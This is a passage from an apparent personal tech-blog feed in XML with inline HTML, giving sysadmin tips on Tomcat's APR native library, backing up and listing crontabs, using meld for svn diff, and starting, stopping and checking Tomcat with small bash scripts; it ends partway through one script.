line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;IF&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;EXISTS&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;SELECT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;...)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;PRINT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&apos;Do nothing.&apos;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;END&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;ELSE&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;INSERT&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;END&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The APR based Apache Tomcat Native library was not found on the java.library.path</title>
   <link href="https://www.instagram.com/zeroquitgenes//java/tomcat/2017/08/31/The-APR-based-Apache-Tomcat-Native-library-was-not-found-on-the-java.library.path/"/>
   <updated>2017-08-31T06:01:01+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//java/tomcat/2017/08/31/The-APR-based-Apache-Tomcat-Native-library-was-not-found-on-the-java.library.path</id>
   <content type="html">&lt;p&gt;Getting this message when running JasperServer :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;…and SO says :&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;&quot;&amp;gt; From &lt;a href=&quot;http://tomcat.apache.org/tomcat-6.0-doc/apr.html&quot; style=&quot;border: 0px; color: #005999; cursor: pointer; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; vertical-align: baseline;&quot;&gt;Apache Portable Runtime (APR) based Native library for Tomcat&lt;/a&gt;:&amp;lt;/div&amp;gt;&amp;lt;blockquote style=&quot;background-color: cornsilk; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgb(255, 235, 142); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 2px; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px 0px 10px; padding: 10px; quotes: none; vertical-align: baseline;&quot;&amp;gt;&amp;lt;div style=&quot;border: 0px; clear: both; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Tomcat can use the Apache Portable Runtime to provide superior scalability, performance, and better integration with native server technologies. The Apache Portable Runtime is a highly portable library that is at the heart of Apache HTTP Server 2.x. APR has many uses, including access to advanced IO functionality (such as sendfile, epoll and OpenSSL), OS level functionality (random number generation, system status, etc), and native process handling (shared memory, NT pipes and Unix sockets).&amp;lt;/div&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;&quot;&amp;gt;The library is bundled into an OS specific dll (tcnative-1.dll) loaded via Java Native Interface (JNI). It allows tomcat to use OS functionalities not provided in the Java Runtime (such as sendfile, epoll, OpenSSL, system status, etc.). Tomcat will run just fine without it, but for some use cases, it will be faster with the native libraries.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;&quot;&amp;gt;If you really want it, download the &lt;a href=&quot;http://tomcat.apache.org/tomcat-8.5-doc/apr.html#Installation&quot; rel=&quot;noreferrer&quot; style=&quot;border: 0px; color: #005999; cursor: pointer; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; vertical-align: baseline;&quot;&gt;&lt;code style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 1px 5px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;tcnative-1.dll&lt;/code&gt; (or &lt;code style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 1px 5px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;libtcnative.so&lt;/code&gt; for Linux)&lt;/a&gt; and put it in the bin folder, and add a system property to the launch configuration of the tomcat server in eclipse.&amp;lt;/div&amp;gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #242729; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;&quot;&gt; -Djava.library.path=c:\dev\tomcat\bin&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>User's crontab</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/02/16/User's-crontab/"/>
   <updated>2017-02-16T07:01:27+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/02/16/User's-crontab</id>
   <content type="html">&lt;p&gt;Per crontab man page:&lt;br /&gt;&lt;br /&gt;Each user can have their own crontab, and though these are files in /var/spool/cron/crontabs, they are not intended to be edited directly.&lt;br /&gt;&lt;br /&gt;Files under /var/spool are considered temporary/working and it’s always a good practice to back up your cron entries or keep them in a file in your home directory.&lt;br /&gt;&lt;br /&gt;I assume you’re using crontab -e to create crontab files on the fly. If so, you can get a “copy” of your crontab file by doing crontab -l. Pipe that to a file to get a “backup”:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;crontab -l &amp;gt; my-crontab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then you can edit that my-crontab file to add or modify entries, and then “install” it by giving it to crontab:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;crontab my-crontab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This does the same syntax checking as crontab -e.&lt;br /&gt;&lt;br /&gt;To list all cron jobs from all users in your system:&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;for user in $(cut -f1 -d: /etc/passwd)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;  echo $user&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;  crontab -u $user -l&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;done&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;or&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;for user in $(cut -f1 -d: /etc/passwd)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;  echo $user&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;  crontab -l &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot;, courier, monospace;&quot;&gt;$user&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot;, courier, monospace;&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;done&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>svn diff with meld</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/25/svn-diff-with-meld/"/>
   <updated>2017-01-25T07:28:14+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/25/svn-diff-with-meld</id>
   <content type="html">&lt;p&gt;&lt;b&gt;How to use svn diff with meld&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. First, download meld from here and set the path to &lt;b&gt;/bin &lt;/b&gt;folder of meld to &lt;b&gt;$PATH&lt;/b&gt; variables.&lt;br /&gt;&lt;br /&gt;2. Create a script of below content with name &lt;b&gt;meld-diff.sh&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;meld “$6” “$7” &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;exit 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Copy the location, lets say its &lt;b&gt;/home/you/meld-diff.sh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;4. Edit subversion configuration file. Found in &lt;b&gt;/home/you/.subversion/config&lt;/b&gt;&lt;br /&gt;Search for “&lt;b&gt;diff-cmd&lt;/b&gt;”, uncomment it and set it to path of our script we created just now. Save it.&lt;br /&gt;&lt;br /&gt;For example : &lt;b&gt;diff-cmd = /home/you/meld-diff.sh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;5. Now if you run “&lt;b&gt;svn diff”&lt;/b&gt;, it should redirect to meld automatically.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Intro to Tomcat's management in Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/19/Intro-to-Tomcat-management-in-Linux/"/>
   <updated>2017-01-19T09:01:21+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/19/Intro-to-Tomcat-management-in-Linux</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;In Linux, Tomcat can be typically installed at a few possible location such as&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/usr/share/tomcat8&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/var/lib/tomcat8/&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;/opt/tomcat8&lt;br /&gt;&lt;br /&gt;Note : At KWT server, Tomcat is installed at /var/lib/tomcat8/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Tomcat has a few Environment Variables&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$CATALINA_HOME : where Tomcat is installed&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$CATALINA_BASE : same as CATALINA_HOME&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$CATALINA_PID : location of pid file for Tomcat running process (will discuss later)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. To start Tomcat, usually we can run : “$CATALINA_HOME/bin/catalina.sh start”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Once Tomcat is running, the pid of the Tomcat process is writen into a file which is declared in $CATALINA_PID.&lt;br /&gt;Typically value for $CATALINA_PID is $CATALINA_BASE\bin\catalina.pid&lt;br /&gt;&lt;br /&gt;When you open this file, (run “less $CATALINA_BASE\bin\catalina.pid”), you will see the pid of the Tomcat process&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. You stop Tomcat process by running : “kill -kill 1239” (replace 1239 with the pid of the process)&lt;br /&gt;This is a generic Linux’s way of killing any process.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Typically, to stop Tomcat, you run “$CATALINA_HOME/bin/shutdown.sh start”&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;NOTE : To add more : Logging, folder structure, manager, host manager, multiple instance, users, server setting&amp;lt;/div&amp;gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Restart, Start and Stop Tomcat using Bash</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/19/Restart-Start-and-Stop-Tomcat-using-Bash/"/>
   <updated>2017-01-19T08:54:44+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/19/Restart-Start-and-Stop-Tomcat-using-Bash</id>
   <content type="html">&lt;p&gt;$CATALINA_PID is the Environment Variable that has path of the file which should contains the pid of the catalina/tomcat startup java process.&lt;br /&gt;&lt;br /&gt;Typically, this will be under /bin folder in your Tomcat installation.&lt;br /&gt;&lt;br /&gt;For example, you could have this in your ~/.bashrc&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;CATALINA_BASE=”/opt/tomcat8”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;export CATALINA_BASE&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;CATALINA_PID=”$CATALINA_BASE/bin/catalina.pid”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;export CATALINA_PID&lt;br /&gt;&lt;br /&gt;By having this $CATALINA_PID environment variable set up, we can easily get the pid of the Tomcat process and control it as we want.&lt;br /&gt;&lt;br /&gt;I created two scripts&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;(1) check-tomcat : To check if Tomcat is running, by reading the Tomcat PID file&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;(2) restart-tomcat : To kill the tomcat, clear the Tomcat’s work folder and restart Tomcat&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;check-tomcat&lt;br /&gt;============&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#title           &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;check-tomcat&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#description     &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;This script will check if Tomcat is running and return the pid&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#author&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Raf&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#note&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Requires $CATALINA_BASE/bin/catalina.pid to be created and $CATALINA_PID to be set.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;clear &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;if [ -f “$CATALINA_PID” ]; then&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;read kpid &amp;lt; “$CATALINA_PID”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    if ps –pid $kpid 2&amp;gt;&amp;amp;1 1&amp;gt;/dev/null; then&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        echo “Tomcat is already running at ${kpid}”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    else&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        echo “$CATALINA_PID found, but Tomcat is not running”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    fi&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;restart-tomcat&lt;br /&gt;==============&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#title           &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;restart-tomcat&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#description     &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; 